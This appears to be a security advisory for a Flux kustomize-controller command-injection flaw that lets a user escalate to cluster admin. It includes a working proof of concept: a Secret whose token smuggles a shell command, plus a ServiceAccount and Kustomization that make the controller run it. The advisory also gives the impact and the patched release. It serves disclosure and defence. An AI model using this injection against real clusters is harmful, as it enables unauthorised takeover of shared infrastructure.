Privilege escalation to cluster admin on multi-tenant environments

Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.

Impact

Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.

Exploit

To exploit the command injection, first we create a secret with a shell command:

kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions"

Then we create a Service Account that refers to the above Secret:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: exploit
  namespace: default
automountServiceAccountToken: false
secrets:
- name: exploit-token

And finally a Kustomization that runs under the above Service Account:

apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
kind: Kustomization
metadata:
  name: exploit
  namespace: default
spec:
  interval: 5m
  path: "./deploy/"
  sourceRef:
    kind: GitRepository
    name: app
  serviceAccountName: exploit

When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.

Patches

This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) release…